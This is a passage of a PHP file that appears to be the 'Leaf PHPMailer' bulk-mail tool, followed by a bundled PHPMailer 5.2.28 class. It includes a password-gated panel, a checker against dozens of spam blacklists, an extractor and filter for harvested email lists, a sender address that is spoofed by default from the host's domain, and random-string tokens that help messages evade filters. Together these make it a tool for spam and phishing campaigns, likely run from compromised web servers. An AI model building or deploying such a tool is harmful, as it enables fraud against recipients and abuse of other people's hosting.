if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
